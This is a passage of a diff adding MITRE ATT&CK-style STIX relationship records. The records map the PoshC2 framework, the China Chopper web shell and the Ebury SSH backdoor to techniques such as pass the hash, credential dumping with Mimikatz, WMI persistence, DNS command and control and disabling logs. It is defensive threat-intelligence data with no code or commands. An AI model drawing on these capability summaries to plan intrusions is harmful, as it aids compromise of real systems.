"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a number of modules, such as Invoke-RunAs and Invoke-TokenManipulation, for manipulating tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.113Z", + "id": "relationship--331528b5-fe7e-4ca4-ad3a-c18b20298f28", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.955Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that leverage pass the hash for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.117Z", + "id": "relationship--64f33d8d-6060-40ab-8fbb-bd8b249702f7", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules that allow for use of proxies in command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.136Z", + "id": "relationship--82758a74-b7e2-4839-ad52-bdc6c57c0dba", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has the ability to persist on a system using WMI events.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.153Z", + "id": "relationship--fbce0681-c5d2-4ea9-b48a-4fc42448f9e0", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that use WMI to execute tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.155Z", + "id": "relationship--1c715763-19ea-475d-9d5c-8d4434b4095f", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.952Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.170Z", + "id": "relationship--8c1446c4-66b2-4b70-96df-7fd2414522be", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules for searching for passwords in local and remote files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.173Z", + "id": "relationship--0e46421a-6804-488e-adad-42cac34065be", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.986Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for compressing data using ZIP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.176Z", + "id": "relationship--617ce344-2317-433a-b283-8e67b90b00f7", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.947Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [PsExec](https://attack.mitre.org/software/S0029) for remote execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:06:52.791Z", + "id": "relationship--37b7ba1e-5093-4a0d-920b-c86d3c9c766b", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can spider authentication portals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:30:03.144Z", + "id": "relationship--73ce71e3-938e-4f5e-b588-32426e874577", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can perform brute force password guessing against authentication portals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:30:03.156Z", + "id": "relationship--046d418d-ffcc-4939-87ce-09cfc2885a5a", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s client component is packed with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:30:03.159Z", + "id": "relationship--1820202b-0994-452a-93e7-ce21496d2ab4", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has intercepted unencrypted private keys as well as private key pass-phrases.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.507Z", + "id": "relationship--e2772353-e6f8-406e-8416-fa4edeecd218", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has encoded C2 traffic.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.541Z", + "id": "relationship--c128b821-b39b-481a-91a1-a2bad7d6dda2", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.162Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.551Z", + "id": "relationship--77bcb339-4a2f-4fa6-9145-c653000952dc", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has installed a self-signed RPM package mimicking the original system package on RPM based systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.554Z", + "id": "relationship--dddaffe1-4d47-4ffd-93e4-3827dc9abb50", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has hijacked the OpenSSH process by injecting into the existing session as opposed to creating a new session.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.557Z", + "id": "relationship--cc89825f-1180-40df-8353-ce8b42a848a5", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.207Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used DNS requests over UDP port 53.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.570Z", + "id": "relationship--1b27a43c-3508-4f21-9f39-c05b2be84cb6", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used UDP port 53 for C2.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.580Z", + "id": "relationship--8dde34ad-1b87-4195-a52f-632852fa0c3b", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has disabled logging when the backdoor is used.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.590Z", + "id": "relationship--a74a0a14-9c50-48b8-aa6d-5b0aea81e8fb", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.257Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:49:35.592Z", + "id": "relationship--fcd46b57-0074-447c-aa24-eb2a6341498f", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "modified": "2019-04-26T20:14:18.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a text based payload available in a variety of scripting languages.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:51:37.507Z", + "id": "relationship--1672e166-e683-48b1-b263-8bd0973b0208", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can change the timestamp of files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T15:51:37.516Z", + "id": "relationship--a6350331-0c0d-4d0d-90a3-d5cc3e420875", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate service and service permission information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.562Z", + "id": "relationship--317b8a78-1c04-4cd7-a249-619bacfc7a44", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [netstat](https://attack.mitre.org/software/S0104) to enumerate TCP and UDP connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.579Z", + "id": "relationship--209075a3-e836-4894-b931-663bb785e96b", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate network adapter information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.582Z", + "id": "relationship--092b3643-670d-447c-b05d-f7a54a945412", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as Get-ComputerInfo, for enumerating common system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.595Z", + "id": "relationship--59fe8c5d-f008-4be7-a187-39d70073914d", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as Get-LocAdm for enumerating permission groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.610Z", + "id": "relationship--75fcbeab-4f32-4e6d-a02a-9d5509fd4c4f", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Get-PassPol to enumerate the domain password policy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.626Z", + "id": "relationship--fd074370-f9d4-43a1-bf1f-0afdb46ab28b", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can perform port scans from an infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.633Z", + "id": "relationship--e45bff55-f8b0-406b-ba7d-03af2e7be8c8", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.977Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for taking packet captures on compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T16:12:37.629Z", + "id": "relationship--f9fb0958-7f80-4bd5-80c2-9665124f1d0e", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 